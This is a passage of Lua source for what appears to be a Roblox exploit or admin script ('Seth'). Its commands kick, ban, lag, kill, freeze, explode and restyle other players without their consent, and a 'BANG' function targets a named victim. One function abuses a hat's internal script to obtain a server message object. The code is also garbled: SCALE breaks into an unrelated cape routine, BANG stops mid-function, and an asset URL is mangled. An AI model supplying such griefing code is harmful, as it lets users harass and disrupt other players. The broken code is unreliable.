HOLDERS.cmds.CanvasSize = UDim2.new(0, 0, 0, 0)
DISPLAY_CMDS()
end
end
end
end)
SETH_MAIN.main.close.MouseButton1Down:connect(function()
SETH_MAIN:destroy()
end)
SETH_MAIN.Parent = _CORE
end
LOAD_DATA()
--/ TOOLS
function LOAD_BALEFIRE()
local HB = Instance.new('HopperBin', LP.Backpack)
HB.Name = 'balefire'
FIRED = false
local function FIRE(M)
if not FIRED then
FIRED = true
BF(M.Hit.p)
wait(0.25)
FIRED = false
end
end
HB.Selected:connect(function(M)
M.Button1Down:connect(function()
FIRE(M)
end)
end)
end
function LOAD_TROWEL()
local T = Instance.new('Tool', LP.Backpack) T.Name = 'trowel'
NEW'Part'{Name = 'Handle', Size = Vector3.new(1, 4.4, 1), Parent = T}
NEW'SpecialMesh'{MeshId = 'rbxasset://fonts/trowel.mesh', MeshType =
'FileMesh', TextureId = 'rbxasset://textures/TrowelTexture.png', Parent = T.Handle}
NEW'Sound'{Name = 'build', SoundId = 'rbxasset://sounds//bass.wav', Volume =
1, Parent = T.Handle}
local HEIGHT = 5
local SPEED = 0.05
local WIDTH = 15
function BRICK(CF, P, C)
local B = Instance.new('Part')
B.BrickColor = C
B.CFrame = CF * CFrame.new(P + B.Size / 2)
B.Parent = game.Workspace
B:MakeJoints()
B.Material = 'Neon'
return B, P + B.Size
end
function BW(CF)
local BC = BrickColor.Random()
local B = {}
assert(WIDTH > 0)
local Y = 0
while Y < HEIGHT do
local P
local X = -WIDTH / 2
while X < WIDTH / 2 do
local brick
brick, P = BRICK(CF, Vector3.new(X, Y, 0), BC)
X = P.x
table.insert(B, brick)
wait(SPEED)
end
Y = P.y
end
return B
end
function S(A)
if math.abs(A.x) > math.abs(A.z) then
if A.x > 0 then
return Vector3.new(1, 0, 0)
else
return Vector3.new(-1, 0, 0)
end
else
if A.z > 0 then
return Vector3.new(0, 0, 1)
else
return Vector3.new(0, 0, -1)
end
end
end
T.Enabled = true
T.Activated:connect(function()
if T.Enabled and LP.Character:FindFirstChild('Humanoid') then
T.Enabled = false
T.Handle.build:Play()
BW(CFrame.new(LP.Character.Humanoid.TargetPoint,
LP.Character.Humanoid.TargetPoint + S((LP.Character.Humanoid.TargetPoint -
LP.Character.Head.Position).unit)))
T.Enabled = true
end
end)
end
function LOAD_PATH()
local HB = Instance.new('HopperBin', LP.Backpack) HB.Name = 'path giver'
HB.Selected:connect(SELECTED)
end
function LOAD_STRIKE()
local HB = Instance.new('HopperBin', LP.Backpack) HB.Name = 'orbital strike'
HB.Selected:connect(function(M)
if not workspace:FindFirstChild('orbital_seth') then
SATELITE = Instance.new('Part', workspace)
SATELITE.Name = 'orbital_seth'
SATELITE.Position = Vector3.new(0, 1500, 0)
SATELITE.Anchored = true
SATELITE.CanCollide = false
SATELITE.Size = Vector3.new(5, 16.8, 5)
NEW'SpecialMesh'{MeshId = 'rbxassetid://1064328', Scale =
Vector3.new(0.2, 0.2, 0.2), Parent = SATELITE}
end
M.Button1Down:connect(function() ENABLED = true SHOOT(M) end)
M.Button1Up:connect(function() ENABLED = false end)
end)
end
function NOTIFY(M, R, G, B)
spawn(function()
repeat wait() until not NOTIFY_1
local NOTIFY_SETH = GUIS.notify_seth:Clone() NOTIFY_SETH.Parent = _CORE
if NOTIFY_SETH then
NOTIFY_SETH.notify[''].BackgroundColor3 = C3(R, G, B)
NOTIFY_SETH.notify.text.Text = ' ' .. M
repeat wait() until not NOTIFY_1
NOTIFY_1 = true
wait(0.5)
NOTIFY_SETH.notify:TweenPosition(UDim2.new(0, 0, 0.6, 0),
'InOut', 'Quad', 0.4, false) wait(0.5)
wait(0.5)
repeat wait() until not NOTIFY_2
NOTIFY_1 = false
NOTIFY_SETH.notify:TweenPosition(UDim2.new(0, 0, 0.6, -40),
'InOut', 'Quad', 0.4, false) wait(0.5)
wait(0.5)
NOTIFY_2 = true
wait(2.5)
NOTIFY_SETH.notify:TweenPosition(UDim2.new(0, -225, 0.6, -40),
'InOut', 'Quad', 0.4, false) wait(0.5)
end
wait(1)
NOTIFY_SETH:destroy()
NOTIFY_2 = false
end)
end
function KICK(P)
spawn(function()
for i = 1,5 do
if P.Character and P.Character:FindFirstChild('HumanoidRootPart')
and P.Character:FindFirstChild('Torso') then
P.Character.HumanoidRootPart.CFrame =
CFrame.new(math.random(999000, 1001000), 1000000, 1000000)
local SP = Instance.new('SkateboardPlatform', P.Character)
SP.Position = P.Character.HumanoidRootPart.Position SP.Transparency = 1
spawn(function()
repeat wait()
if P.Character and
P.Character:FindFirstChild('HumanoidRootPart') then SP.Position =
P.Character.HumanoidRootPart.Position end
until not _PLAYERS:FindFirstChild(P.Name)
end)
P.Character.Torso.Anchored = true
end
end
end)
end
_PLAYERS.PlayerRemoving:connect(function(P)
if FIND_IN_TABLE(KICKS, P) then
for i,v in pairs(KICKS) do if v == P then table.remove(KICKS, i) end
end
NOTIFY('KICKED ' .. P.Name, 255, 255, 255)
end
if FIND_IN_TABLE(JAILED, P.Name) then
for i,v in pairs(JAILED) do if v == P.Name then table.remove(KICKS, i)
end end
end
end)
function FIX_LIGHTING()
_LIGHTING.Ambient = C3(0.5, 0.5, 0.5)
_LIGHTING.Brightness = 1
_LIGHTING.GlobalShadows = true
_LIGHTING.Outlines = false
_LIGHTING.TimeOfDay = 14
_LIGHTING.FogEnd = 100000
end
function LAG(PLAYER)
local POS = CFrame.new(math.random(-100000, 100000), math.random(-100000,
100000), math.random(-100000, 100000))
spawn(function()
repeat wait()
if PLAYER and PLAYER.Character then
PLAYER.CameraMode = 'LockFirstPerson'
PLAYER.Character.HumanoidRootPart.CFrame = POS
PLAYER.Character.Torso.Anchored = true
Instance.new('ForceField', PLAYER.Character)
Instance.new('Smoke', PLAYER.Character.Head)
end
until not _PLAYERS:FindFirstChild(PLAYER.Name)
end)
end
function sFLY()
repeat wait() until LP and LP.Character and
LP.Character:FindFirstChild('Torso') and LP.Character:FindFirstChild('Humanoid')
repeat wait() until MOUSE
local T = LP.Character.Torso
local CONTROL = {F = 0, B = 0, L = 0, R = 0}
local lCONTROL = {F = 0, B = 0, L = 0, R = 0}
local SPEED = 0
local function FLY()
FLYING = true
local BG = Instance.new('BodyGyro', T)
local BV = Instance.new('BodyVelocity', T)
BG.P = 9e4
BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
BG.cframe = T.CFrame
BV.velocity = Vector3.new(0, 0.1, 0)
BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
spawn(function()
repeat wait()
LP.Character.Humanoid.PlatformStand = true
if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0
then
SPEED = 50
elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F +
CONTROL.B ~= 0) and SPEED ~= 0 then
SPEED = 0
end
if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B)
~= 0 then
BV.velocity =
((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) +
((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R,
(CONTROL.F + CONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p))
* SPEED
lCONTROL = {F = CONTROL.F, B = CONTROL.B, L =
CONTROL.L, R = CONTROL.R}
elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F +
CONTROL.B) == 0 and SPEED ~= 0 then
BV.velocity =
((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) +
((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R,
(lCONTROL.F + lCONTROL.B) * 0.2, 0).p) -
workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
else
BV.velocity = Vector3.new(0, 0.1, 0)
end
BG.cframe = workspace.CurrentCamera.CoordinateFrame
until not FLYING
CONTROL = {F = 0, B = 0, L = 0, R = 0}
lCONTROL = {F = 0, B = 0, L = 0, R = 0}
SPEED = 0
BG:destroy()
BV:destroy()
LP.Character.Humanoid.PlatformStand = false
end)
end
MOUSE.KeyDown:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = 1
elseif KEY:lower() == 's' then
CONTROL.B = -1
elseif KEY:lower() == 'a' then
CONTROL.L = -1
elseif KEY:lower() == 'd' then
CONTROL.R = 1
end
end)
MOUSE.KeyUp:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = 0
elseif KEY:lower() == 's' then
CONTROL.B = 0
elseif KEY:lower() == 'a' then
CONTROL.L = 0
elseif KEY:lower() == 'd' then
CONTROL.R = 0
end
end)
FLY()
end
function NOFLY()
FLYING = false
LP.Character.Humanoid.PlatformStand = false
end
function RESET_MODEL(MODEL)
for i,v in pairs(MODEL:GetChildren()) do
if v:IsA('Seat') and v.Name == 'FakeTorso' then
v:destroy()
elseif v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') or
v:IsA('Accessory') then
v:destroy()
elseif v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.Transparency = 0
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
end
end
for i,v in pairs(MODEL.Torso:GetChildren()) do
if v:IsA('SpecialMesh') then
v:destroy()
end
end
if MODEL.Head:FindFirstChild('Mesh') then
MODEL.Head.Mesh:destroy()
end
if MODEL.Torso:FindFirstChild('Neck') then MODEL.Torso.Neck.C0 =
CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(90), math.rad(180), 0) end
if MODEL.Torso:FindFirstChild('Left Shoulder') then MODEL.Torso['Left
Shoulder'].C0 = CFrame.new(-1, 0.5, 0) * CFrame.Angles(0, math.rad(-90), 0) end
if MODEL.Torso:FindFirstChild('Right Shoulder') then MODEL.Torso['Right
Shoulder'].C0 = CFrame.new(1, 0.5, 0) * CFrame.Angles(0, math.rad(90), 0) end
if MODEL.Torso:FindFirstChild('Left Hip') then MODEL.Torso['Left Hip'].C0 =
CFrame.new(-1, -1, 0) * CFrame.Angles(0, math.rad(-90), 0) end
if MODEL.Torso:FindFirstChild('Right Hip') then MODEL.Torso['Right Hip'].C0 =
CFrame.new(1, -1, 0) * CFrame.Angles(0, math.rad(90), 0) end
end
function CREEPER(PLAYER)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Shirt') or v:IsA('Pants') then
v:destroy()
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
end
end
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Accessory') then
v:destroy()
end
end
PLAYER.Character.Torso.Neck.C0 = CFrame.new(0,1,0) *
CFrame.Angles(math.rad(90),math.rad(180),0)
PLAYER.Character.Torso['Right Shoulder'].C0 = CFrame.new(0,-1.5,-.5) *
CFrame.Angles(0,math.rad(90),0)
PLAYER.Character.Torso['Left Shoulder'].C0 = CFrame.new(0,-1.5,-.5) *
CFrame.Angles(0,math.rad(-90),0)
PLAYER.Character.Torso['Right Hip'].C0 = CFrame.new(0,-1,.5) *
CFrame.Angles(0,math.rad(90),0)
PLAYER.Character.Torso['Left Hip'].C0 = CFrame.new(0,-1,.5) *
CFrame.Angles(0,math.rad(-90),0)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.BrickColor = BrickColor.new('Bright green')
end
end
end
function SHREK(PLAYER)
COLOR(PLAYER, 'Bright green')
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Accessory') or
v:IsA('CharacterMesh') then
v:destroy()
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
end
end
for i,v in pairs(PLAYER.Character.Head:GetChildren()) do
if v:IsA('Decal') or v:IsA('SpecialMesh') then
v:destroy()
end
end
if PLAYER.Character:FindFirstChild('Shirt Graphic') then
PLAYER.Character['Shirt Graphic'].Archivable = false
PLAYER.Character['Shirt Graphic'].Graphic = ''
end
local M = Instance.new('SpecialMesh', PLAYER.Character.Head)
local S = Instance.new('Shirt', PLAYER.Character)
local P = Instance.new('Pants', PLAYER.Character)
M.MeshType = 'FileMesh'
M.MeshId = 'rbxassetid://19999257'
M.Offset = Vector3.new(-0.1, 0.1, 0)
M.TextureId = 'rbxassetid://156397869'
S.ShirtTemplate = 'rbxassetid://133078194'
P.PantsTemplate = 'rbxassetid://133078204'
end
function DUCK(PLAYER)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'Torso' and v.Name ~= 'HumanoidRootPart'
then
v.Transparency = 1
elseif v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Accessory') then
v:destroy()
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
end
end
local DUCK = Instance.new('SpecialMesh', PLAYER.Character.Torso)
DUCK.MeshType = 'FileMesh'
DUCK.MeshId = 'rbxassetid://9419831'
DUCK.TextureId = 'rbxassetid://9419827'
DUCK.Scale = Vector3.new(5, 5, 5)
if PLAYER.Character.Head:FindFirstChild('face') then
PLAYER.Character.Head.face.Transparency = 1
end
end
function DOG(PLAYER)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Shirt') or v:IsA('Pants') then
v:destroy()
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
end
end
PLAYER.Character.Torso.Transparency = 1
PLAYER.Character.Torso.Neck.C0 = CFrame.new(0, -0.5, -2) *
CFrame.Angles(math.rad(90), math.rad(180), 0)
PLAYER.Character.Torso['Right Shoulder'].C0 = CFrame.new(0.5, -1.5, -1.5) *
CFrame.Angles(0, math.rad(90), 0)
PLAYER.Character.Torso['Left Shoulder'].C0 = CFrame.new(-0.5, -1.5, -1.5) *
CFrame.Angles(0, math.rad(-90), 0)
PLAYER.Character.Torso['Right Hip'].C0 = CFrame.new(1.5, -1, 1.5) *
CFrame.Angles(0, math.rad(90), 0)
PLAYER.Character.Torso['Left Hip'].C0 = CFrame.new(-1.5, -1, 1.5) *
CFrame.Angles(0, math.rad(-90), 0)
local FakeTorso = Instance.new('Seat', PLAYER.Character)
local BF = Instance.new('BodyForce', FakeTorso)
local W = Instance.new('Weld', PLAYER.Character.Torso)
FakeTorso.Name = 'FakeTorso'
FakeTorso.TopSurface = 0
FakeTorso.BottomSurface = 0
FakeTorso.Size = Vector3.new(3,1,4)
FakeTorso.BrickColor = BrickColor.new('Brown')
FakeTorso.CFrame = PLAYER.Character.Torso.CFrame
BF.Force = Vector3.new(0, FakeTorso:GetMass() * 196.25, 0)
W.Part0 = PLAYER.Character.Torso
W.Part1 = FakeTorso
W.C0 = CFrame.new(0, -0.5, 0)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.BrickColor = BrickColor.new('Brown')
end
end
end
function ALIEN(PLAYER)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Accessory') then
v:destroy()
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
elseif v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.BrickColor = BrickColor.new('Fossil')
end
end
ALIEN_H:Clone().Parent = PLAYER.Character
end
function UNDECALSPAM(INSTANCE)
for i,v in pairs(INSTANCE:GetChildren()) do
if v:IsA('BasePart') then
for a,b in pairs(v:GetChildren()) do
if b:IsA('Decal') and b.Name == 'decal_seth' then
b:destroy()
end
end
end
UNDECALSPAM(v)
end
end
function SCALE(C, S)
if tonumber(S) < 0.5 then S = 0.5 elseif tonumber(S) > 25 then S = 25 end
local HAT_CLONE = {}
HEAD.Size = Vector3.new(S * 2, S, S)
TORSO.Size = Vector3.new(S * 2, S * 2, S)
LA.Size = Vector3.new(S, S * 2, S)
RA.Size = Vector3.new(S, S * 2, S)
LL.Size = Vector3.new(S, S * 2, S)
RL.Size = Vector3.new(S, S * 2, S)
HRP.Size = Vector3.new(S * 2, S * 2, S)
function CAPE(COLOR)
if LP.Character:FindFirstChild('Cape') then LP.Character.Cape:destroy() end
local T = LP.Character.Torso
local M = Instance.new('BlockMesh', C)
M.Scale = Vector3.new(9, 17.5, 0.5)
local M1 = Instance.new('Motor', C)
M1.Part0 = C
M1.Part1 = T
M1.MaxVelocity = 1
M1.C0 = CFrame.new(0, 1.75, 0) * CFrame.Angles(0, math.rad(90), 0)
M1.C1 = CFrame.new(0, 1, .45) * CFrame.Angles(0, math.rad(90), 0)
if WAVE then
ANG = ANG + ((T.Velocity.magnitude / 10) * 0.05) + 1
WAVE = false
else
WAVE = false
end
ANG = ANG + math.min(T.Velocity.magnitude / 30, 1)
M1.MaxVelocity = math.min((T.Velocity.magnitude / 10), 0.04) + MV
M1.DesiredAngle = -ANG
if M1.CurrentAngle < -0.05 and M1.DesiredAngle > -.05 then
M1.MaxVelocity = 0.04
end
repeat
wait()
until M1.CurrentAngle == M1.DesiredAngle or
math.abs(T.Velocity.magnitude - oldMag) >= (T.Velocity.magnitude / 10) + 1
if T.Velocity.magnitude < 0.1 then
wait(0.1)
end
until not C or C.Parent ~= T.Parent
end
function INFECT(PLAYER)
for i,v in pairs(PLAYER.Character:GetChildren()) do
Instance.new('Folder', PLAYER.Character).Name = 'infected_seth'
if v:IsA('Accessory') or v:IsA('Shirt') or v:IsA('Pants') then
v:destroy()
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
end
end
if PLAYER.Character.Head:FindFirstChild('face') then
PLAYER.Character.Head.face.Texture = 'rbxassetid://7074882'
end
local T = PLAYER.Character.Torso.Touched:connect(function(TC)
if not TC.Parent:FindFirstChild('infected_seth') then
local GPFC = _PLAYERS:GetPlayerFromCharacter(TC.Parent)
if GPFC then
INFECT(GPFC)
end
end
end)
end
function BANG(VICTIM)
spawn(function()
local P1 = _PLAYERS.LocalPlayer.Character.Torso
local V1 = _PLAYERS[VICTIM].Character.Torso
V1.Parent.Humanoid.PlatformStand = true
local CM = Instance.new('CylinderMesh', C)
function RESPAWN(PLAYER)
local M = Instance.new('Model', workspace) M.Name = 'respawn_seth'
local T = Instance.new('Part', M) T.Name = 'Torso' T.CanCollide = false
T.Transparency = 1
Instance.new('Humanoid', M)
PLAYER.Character = M
end
function LOAD_MESSAGE(STRING)
_PLAYERS.LocalPlayer.CharacterAppearanceId = 20018
RESPAWN(LP)
R = false
LP.CharacterAdded:connect(function()
if not R then
wait(0.5)
if LP.Character:FindFirstChild('Humanoid') then
MAIN_HAT =
LP.Character:FindFirstChild('BunnyEarsOfCaprice'):Clone()
end
R = true
end
end)
repeat wait() until R
RESPAWN(LP)
LP.CharacterAppearanceId = 0
if MAIN_HAT then
MAIN_HAT.Handle.CanCollide = true
local M = MAIN_HAT.Handle.BunnyTools.EggScript3:Clone()
local P = Instance.new('Part')
M.Disabled = false
M.Parent = P
MAIN_HAT.Handle.BunnyTools.EggMesh3:Clone().Parent = P
MAIN_HAT:destroy()
P.Parent = LP.Character
repeat wait() until LP:FindFirstChild('ChessMsg')
MG = LP:FindFirstChild('ChessMsg')
MG.Name = 'message_seth'
MG.Text = ''
MG.Parent = workspace
MESSAGE(STRING)
P:destroy()
for i,v in pairs(workspace:GetChildren()) do
if v:IsA('Part') and v.BrickColor == BrickColor.new('Bright red')
and v.Reflectance == 0 and v.Transparency == 0 and not v.Anchored and v.CanCollide
and v.Locked and v:FindFirstChild('Decal') and v.Size == Vector3.new(8, 0.4, 8)
then
if v.Decal.Texture == 'http://www.roblox.com/asset/?
id=1531000' and v.Transparency == 0 and v.Decal.Face == Enum.NormalId.Top then
v:destroy()
end
end
end
end
end
function MESSAGE(STRING)
if not SHOWING_MESSAGE then
spawn(function()
SHOWING_MESSAGE = true
MG.Text = STRING
wait(5)
MG.Text = ''
SHOWING_MESSAGE = false
end)
end
end
_G.CLICK_TP = false
local M_CTRL = false
MOUSE.KeyDown:connect(function(K) if K:byte() == 50 then M_CTRL = true end end)
MOUSE.KeyUp:connect(function(K) if K:byte() == 50 then M_CTRL = false end end)
MOUSE.Button1Down:connect(function() if _G.CLICK_TP and M_CTRL and MOUSE.Target and
LP.Character and LP.Character:FindFirstChild('HumanoidRootPart') then
LP.Character.HumanoidRootPart.CFrame = CFrame.new(MOUSE.Hit.p) + Vector3.new(0, 3,
0) end end)
-- / commands
ADD_COMMAND('unff','unff [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do
if v:IsA('ForceField') then
v:destroy()
end
end
end
end)
ADD_COMMAND('unfire','unfire [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR:GetChildren()) do
for i,v in pairs(v:GetChildren()) do
if v:IsA('Fire') then
v:destroy()
end
end
end
end
end)
ADD_COMMAND('unsp','unsp [plr]',{'unsparkles'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do
for i,v in pairs(v:GetChildren()) do
if v:IsA('Sparkles') then
v:destroy()
end
end
end
end
end)
ADD_COMMAND('smoke','smoke [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
Instance.new('Smoke', _PLAYERS[v].Character.Torso)
end
end)
ADD_COMMAND('unsmoke','unsmoke [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Character.Torso:GetChildren()) do
if v:IsA('Smoke') then
v:destroy()
end
end
end
end)
ADD_COMMAND('btools','btools [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
Instance.new('HopperBin', _PLAYERS[v].Backpack).BinType = 2
Instance.new('HopperBin', _PLAYERS[v].Backpack).BinType = 3
Instance.new('HopperBin', _PLAYERS[v].Backpack).BinType = 4
end
end)
ADD_COMMAND('god','god [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then
PCHAR.Humanoid.MaxHealth = math.huge PCHAR.Humanoid.Health =
PCHAR.Humanoid.MaxHealth
end
end
end)
ADD_COMMAND('sgod','sgod [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then
PCHAR.Humanoid.MaxHealth = 10000000 PCHAR.Humanoid.Health =
PCHAR.Humanoid.MaxHealth
end
end
end)
ADD_COMMAND('ungod','ungod [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then
PCHAR.Humanoid.MaxHealth = 100
end
end
end)
ADD_COMMAND('heal','heal [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then
PCHAR.Humanoid.Health = PCHAR.Humanoid.MaxHealth
end
end
end)
ADD_COMMAND('freeze','freeze [plr]',{'frz'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.Anchored = true
end
end
end
end
end)
ADD_COMMAND('thaw','thaw [plr]',{'unfreeze','unfrz'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do
if v:IsA('Part') then
v.Anchored = false
end
end
end
end
end)
ADD_COMMAND('kill','kill [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].Character:BreakJoints()
end
end)
ADD_COMMAND('sound','sound [id]',{},
function(ARGS, SPEAKER)
for i,v in pairs(workspace:GetChildren()) do if v:IsA('Sound') then v:Stop()
v:destroy() end end
if ARGS[1]:lower() ~= 'off' then
local S = Instance.new('Sound', workspace) S.Name = 'song_seth'
S.Archivable = false S.Looped = true S.SoundId = 'rbxassetid://' .. ARGS[1]
S.Volume = 1 S:Play()
end
end)
ADD_COMMAND('volume','volume [int]',{},
function(ARGS, SPEAKER)
for i,v in pairs(workspace:GetChildren()) do if v:IsA('Sound') then v.Volume
= ARGS[1] end end
end)
ADD_COMMAND('pitch','pitch [int]',{},
function(ARGS, SPEAKER)
for i,v in pairs(workspace:GetChildren()) do if v:IsA('Sound') then v.Pitch =
ARGS[1] end end
end)
ADD_COMMAND('explode','explode [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Torso') then
Instance.new('Explosion', PCHAR).Position = PCHAR.Torso.Position
end
end
end)
ADD_COMMAND('invis','invis [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.Transparency = 1
end
if v:IsA('Accessory') and v:FindFirstChild('Handle') then
v.Handle.Transparency = 1
end
end
if PCHAR.Head:FindFirstChild('face') then PCHAR.Head.face.Transparency
= 1 end
end
end)
ADD_COMMAND('vis','vis [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.Transparency = 0
end
if v:IsA('Accessory') and v:FindFirstChild('Handle') then
v.Handle.Transparency = 0
end
end
if PCHAR.Head:FindFirstChild('face') then PCHAR.Head.face.Transparency
= 0 end
end
end)
ADD_COMMAND('goto','goto [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR then
SPEAKER.Character.HumanoidRootPart.CFrame = PCHAR.Torso.CFrame
end
end
end)
ADD_COMMAND('bring','bring [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].Character.HumanoidRootPart.CFrame =
SPEAKER.Character.Torso.CFrame
end
end)
ADD_COMMAND('time','time [int]',{},
function(ARGS, SPEAKER)
_LIGHTING:SetMinutesAfterMidnight(tonumber(ARGS[1]) * 60)
end)
ADD_COMMAND('kick','kick [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
table.insert(KICKS, _PLAYERS[v])
end
end)
ADD_COMMAND('ban','ban [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
table.insert(BANS, _PLAYERS[v].userId)
table.insert(KICKS, _PLAYERS[v])
UPDATE_BANS()
end
end)
ADD_COMMAND('unban','unban [username]',{},
function(ARGS, SPEAKER)
if FIND_IN_TABLE(BANS, game.Players:GetUserIdFromNameAsync(ARGS[1])) then
table.remove(BANS, GET_IN_TABLE(BANS,
game.Players:GetUserIdFromNameAsync(ARGS[1])))
UPDATE_BANS()
end
end)
ADD_COMMAND('unlockws','unlock',{'unlock'},
function(ARGS, SPEAKER)
local function UNLOCK(INSTANCE)
for i,v in pairs(INSTANCE:GetChildren()) do
if v:IsA('BasePart') then
v.Locked = false
end
UNLOCK(v)
end
end
UNLOCK(workspace)
end)
ADD_COMMAND('lockws','lock',{'lock'},
function(ARGS, SPEAKER)
local function LOCK(INSTANCE)
for i,v in pairs(INSTANCE:GetChildren()) do
if v:IsA('BasePart') then
v.Locked = true
end
LOCK(v)
end
end
LOCK(workspace)
end)
ADD_COMMAND('unanchorws','unanchor',{'unanchor'},
function(ARGS, SPEAKER)
local function UNANCHOR(INSTANCE)
for i,v in pairs(INSTANCE:GetChildren()) do
if v:IsA('BasePart') then
v.Anchored = false
end
UNANCHOR(v)
end
end
UNANCHOR(workspace)
end)
ADD_COMMAND('anchorws','anchor',{'anchor'},
function(ARGS, SPEAKER)
local function ANCHOR(INSTANCE)
for i,v in pairs(INSTANCE:GetChildren()) do
if v:IsA('BasePart') then
v.Anchored = true
end
ANCHOR(v)
end
end
ANCHOR(workspace)
end)
ADD_COMMAND('shats','shats [plr]',{'stealhats'},
